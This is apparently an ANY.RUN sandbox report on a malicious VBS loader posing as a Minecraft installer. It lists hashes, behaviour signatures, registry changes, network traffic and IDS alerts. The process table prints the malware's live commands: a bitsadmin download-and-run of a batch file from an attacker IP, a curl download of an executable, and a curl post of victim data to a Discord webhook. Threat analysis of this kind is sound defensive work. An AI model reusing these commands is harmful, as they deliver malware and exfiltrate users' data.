| download: | /files/install.vbs |
| Full analysis: | https://app.any.run/tasks/72f11bbd-9aab-407e-9630-5fbdf0340299 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | December 17, 2023, 18:00:22 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text |
| MD5: | 561C693D480D6575734575DA76AC6353 |
| SHA1: | 782733E8A046BFD6D233647A4DDB0C8EC012DB22 |
| SHA256: | 994913C7097A263A290F1FB155F830DEF17F85889B3D8A81D9C39C81F9B9D95F |
| SSDEEP: | 12:lqatWlDYjoncCInnf1jK41y41znE9HwQWwAJLAkqKMLUqZbAVjl5qrs:lqatCG4PIf1jT171gwpwAJLxMLUkAVJX |
MALICIOUS
Downloads files via BITSADMIN.EXE
- cmd.exe (PID: 1288)
Drops the executable file immediately after the start
- curl.exe (PID: 2384)
Deletes a file (SCRIPT)
- wscript.exe (PID: 116)
SUSPICIOUS
Reads the Internet Settings
- wscript.exe (PID: 116)
Starts CMD.EXE for commands execution
- wscript.exe (PID: 116)
- cmd.exe (PID: 1288)
Application launched itself
- cmd.exe (PID: 1288)
Executing commands from a ".bat" file
- wscript.exe (PID: 116)
Connects to unusual port
- curl.exe (PID: 2384)
Identifying current user with WHOAMI command
- cmd.exe (PID: 2448)
Process requests binary or script from the Internet
- curl.exe (PID: 2384)
Uses TIMEOUT.EXE to delay execution
- cmd.exe (PID: 1288)
Uses TASKKILL.EXE to kill process
- cmd.exe (PID: 1288)
Runs shell command (SCRIPT)
- wscript.exe (PID: 116)
Checks whether a specific file exists (SCRIPT)
- wscript.exe (PID: 116)
Creates FileSystem object to access computer's file system (SCRIPT)
- wscript.exe (PID: 116)
Gets full path of the running script (SCRIPT)
- wscript.exe (PID: 116)
INFO
Manual execution by a user
- explorer.exe (PID: 1040)
- verclsid.exe (PID: 2468)
Checks supported languages
- curl.exe (PID: 2384)
- curl.exe (PID: 664)
Creates files or folders in the user directory
- curl.exe (PID: 2384)
Reads the computer name
- curl.exe (PID: 664)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
59
Monitored processes
15
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 116 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\Downloads\install.vbs" | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 552 | timeout /nobreak /t 20 | C:\Windows\System32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 664 | curl -H "Content-Type: application/json" -d "@C:\Users\admin\AppData\Roaming\Microsoft\Installer\discord_payload.json" "https://discord.com/api/webhooks/1186000226776002590/f4iXoItirxEBw2VZTUk-5wwUT4w2QmFVcT-cGWv5-li7uYCr78sLZP7vGsw18kWrA9lI" | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 0 Version: 8.5.0 Modules
| |||||||||||||||
| 1040 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1288 | "C:\Windows\System32\cmd.exe" /C bitsadmin.exe /transfer DownloadJob /download /priority normal http://80.143.254.133:6941/files/install_minecraft.bat C:\Users\admin\AppData\Local\Temp\install_minecraft.bat && C:\Users\admin\AppData\Local\Temp\install_minecraft.bat | C:\Windows\System32\cmd.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2032 | bitsadmin.exe /transfer DownloadJob /download /priority normal http://80.143.254.133:6941/files/install_minecraft.bat C:\Users\admin\AppData\Local\Temp\install_minecraft.bat | C:\Windows\System32\bitsadmin.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2176 | taskkill /f /im "X.exe" /t | C:\Windows\System32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2296 | whoami | C:\Windows\System32\whoami.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: whoami - displays logged on user information Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2312 | C:\Windows\system32\cmd.exe /c hostname | C:\Windows\System32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2384 | curl -o "C:\Users\admin\AppData\Roaming\Microsoft\Installer\X.exe" http://80.143.254.133:6941/files/X.exe | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 0 Version: 8.5.0 Modules
| |||||||||||||||
Total events
1 491
Read events
1 480
Write events
11
Delete events
0
Modification events
| (PID) Process: | (116) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (116) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (116) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (116) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (3072) dllhost.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Direct3D\MostRecentApplication |
| Operation: | write | Name: | Name |
Value: Explorer.EXE | |||
| (PID) Process: | (3072) dllhost.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows Photo Viewer\Viewer |
| Operation: | write | Name: | MainWndPos |
Value: 6000000034000000A00400008002000000000000 | |||
Executable files
1
Suspicious files
0
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1288 | cmd.exe | C:\Users\admin\AppData\Roaming\Microsoft\Installer\discord_payload.json | text | |
MD5:2D3FD88F79B5ECC827870457337B8B2C | SHA256:C39A3607DFE53C7EB9A7151A457DF5850030D34A575A9DC54C1DA5C49655B9C1 | |||
| 2384 | curl.exe | C:\Users\admin\AppData\Roaming\Microsoft\Installer\X.exe | executable | |
MD5:7972E58136565BCE42D9762851DB95D2 | SHA256:B39F0698F85138C54653EB109111FB37A915F6B752E4A4117F780153AB819045 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
9
DNS requests
1
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2384 | curl.exe | GET | 200 | 80.143.254.133:6941 | http://80.143.254.133:6941/files/X.exe | unknown | executable | 14.3 Mb | unknown |
856 | svchost.exe | GET | 200 | 80.143.254.133:6941 | http://80.143.254.133:6941/files/install_minecraft.bat | unknown | text | 1.43 Kb | unknown |
856 | svchost.exe | HEAD | 200 | 80.143.254.133:6941 | http://80.143.254.133:6941/files/install_minecraft.bat | unknown | — | — | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2064 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
1080 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
856 | svchost.exe | 80.143.254.133:6941 | — | Deutsche Telekom AG | DE | unknown |
2384 | curl.exe | 80.143.254.133:6941 | — | Deutsche Telekom AG | DE | unknown |
664 | curl.exe | 162.159.138.232:443 | discord.com | CLOUDFLARENET | — | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
discord.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2384 | curl.exe | A Network Trojan was detected | ET MALWARE Single char EXE direct download likely trojan (multiple families) |
2384 | curl.exe | Attempted Information Leak | ET POLICY curl User-Agent Outbound |
2384 | curl.exe | Potentially Bad Traffic | ET INFO Executable Download from dotted-quad Host |
2384 | curl.exe | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
2384 | curl.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2384 | curl.exe | Potentially Bad Traffic | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response |
2384 | curl.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
1080 | svchost.exe | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
664 | curl.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |